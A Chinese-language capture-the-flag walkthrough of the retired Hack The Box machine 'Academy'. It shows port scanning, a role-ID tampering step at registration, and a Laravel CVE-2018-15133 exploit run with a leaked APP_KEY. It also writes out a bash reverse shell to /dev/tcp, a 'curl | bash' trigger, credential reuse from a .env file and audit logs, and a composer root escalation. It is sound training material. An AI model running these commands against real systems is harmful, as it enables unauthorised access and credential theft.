HTB-靶机-Academy
本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关
靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.215
本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描
信息枚举收集 https://github.com/codingo/Reconnoitre 跟autorecon类似 autorecon 10.10.10.215 -o ./Doctor-autorecon masscan -p1-65535 10.10.10.215 --rate=1000 -e tun0 > ports ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//') nmap -Pn -sV -sC -p$ports 10.10.10.215 sudo nmap -sS -sV -T4 -O -A -v 10.10.10.215 nmap自动探测工具 https://github.com/21y4d/nmapAutomator 爆破目录新工具 https://github.com/phra/rustbuster
开放了3个端口,先看看web应用,使用curl访问一把
发现直接访问IP地址目标靶机会返回响应码302,然后给个Location地址,域名是http://academy.htb 看到这个就知道要配置绑定本地hosts文件然后访问
追加hosts文件 sudo -- sh -c "echo '10.10.10.215 academy.htb' >> /etc/hosts"
访问之后看到登录注册页面,注册了个用户登录进去没发现可利用的地方,使用burpsuite看抓包的情况,绕行roleid=0根据经验猜测可能跟权限控制有关,将其改成roleid=1重新注册一个用户,登录进去是admin权限,提示有一个域名dev-staging-01.academy.htb ,按照下面方式追加到hosts文件 sudo -- sh -c "echo '10.10.10.215 dev-staging-01.academy.htb' >> /etc/hosts"
原始注册请求数据包
更改roleid=1
注册成功之后登录目标靶机获得一个域名dev-staging-01.academy.htb
上述发现的域名绑定hosts访问发现是打开debug模式的页面,发现了敏感信息,一串base64编码信息
此处花了点时间,最后通过下面参考链接获取了一枚目标靶机的远程代码执行漏洞额exploit
https://github.com/facade/ignition https://www.exploit-db.com/exploits/47129 https://jwt.io/ https://github.com/aljavier/exploit_laravel_cve-2018-15133
利用配置exploit
APP_KEY "base64:dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=" 对应的exploit https://github.com/aljavier/exploit_laravel_cve-2018-15133 下面是装载exploit需要的模块 git clone https://github.com/aljavier/exploit_laravel_cve-2018-15133 cd exploit_laravel_cve-2018-15133/ sudo pip3 install -r requirements.txt python3 pwn_laravel.py http://dev-staging-01.academy.htb/ dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0= --interactive
最终利用成功,可以远程代码执行,将这个可交互式shell换成反弹shell,具体如下
上面执行完成后直接可远程命令执行,然后将其反弹shell,再升级为tty-shell 在本机kali上执行下面操作 echo 'bash -i >& /dev/tcp/10.10.14.16/8833 0>&1' > /index.html sudo python3 -m http.server 80 nc -lvnp 8833 在拿到目标靶机的交互式shell之后执行下面操作触发反弹shell curl 10.10.14.16 | bash 成功反弹shell,开始升级tty-shell python3 -c 'import pty;pty.spawn("/bin/bash");' CTRL + Z stty raw -echo fg
上面大概意思就是在目标靶机上执行命令然后反弹shell到kali本机,这里是反着来,是把反弹shell命令代码放在本地kali上然后在目标靶机上去触发此反弹shell命令代码
在目标靶机上信息搜集
www-data@academy:/home$ cat /var/www/html/academy/.env APP_NAME=Laravel APP_ENV=local APP_KEY=base64:dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0= APP_DEBUG=false APP_URL=http://localhost LOG_CHANNEL=stack DB_CONNECTION=mysql DB_HOST=127.0.0.1 DB_PORT=3306 DB_DATABASE=academy DB_USERNAME=dev DB_PASSWORD=mySup3rP4s5w0rd!!
使用上面的数据库密码去尝试登录目标靶机普通用户的ssh服务,刚好可以登录用户cry0l1t3 ,使用su切换登录
上面执行了一下id命令发现,此用户也隶属于组adm,针对组adm的权限是可以查看系统上的所有日志,可以通过审计的模块查看敏感信息,具体可参考如下
https://serverfault.com/questions/485473/what-is-the-canonical-use-for-the-sys-and-adm-groups https://linux.die.net/man/8/pam_tty_audit https://www.cyberciti.biz/tips/linux-audit-files-to-see-who-made-changes-to-a-file.html 通过上面的介绍,可以知道默认情况下Linux系统内核是不会记录审计的,但是系统管理员认为操作可以审计系统操作的记录,并且启用了tty输入的日志记录,其中就包括输入的账号和密码记录,系统会将其保存在/var/log/audit/audit.log文件里面,里面是16进制数据,这个可以手动解码,也可以使用aureport进行解码,下面是操作
执行一把审计命令,其中的结果如下:
$ aureport --tty TTY Report =============================================== # date time event auid term sess comm data =============================================== Error opening config file (Permission denied) NOTE - using built-in logs: /var/log/audit/audit.log 1. 08/12/2020 02:28:10 83 0 ? 1 sh "su mrb3n",<nl> 2. 08/12/2020 02:28:13 84 0 ? 1 su "mrb3n_Ac@d3my!",<nl>
知道了另一个用户的账号和密码,直接su切换过去,然后再执行一把sudo -l
关于composer可以进行直接提权,参考:
https://gtfobins.github.io/gtfobins/composer/ https://getcomposer.org/doc/articles/scripts.md
提权操作 TF=$(mktemp -d) echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >$TF/composer.json sudo composer --working-dir=$TF run-script x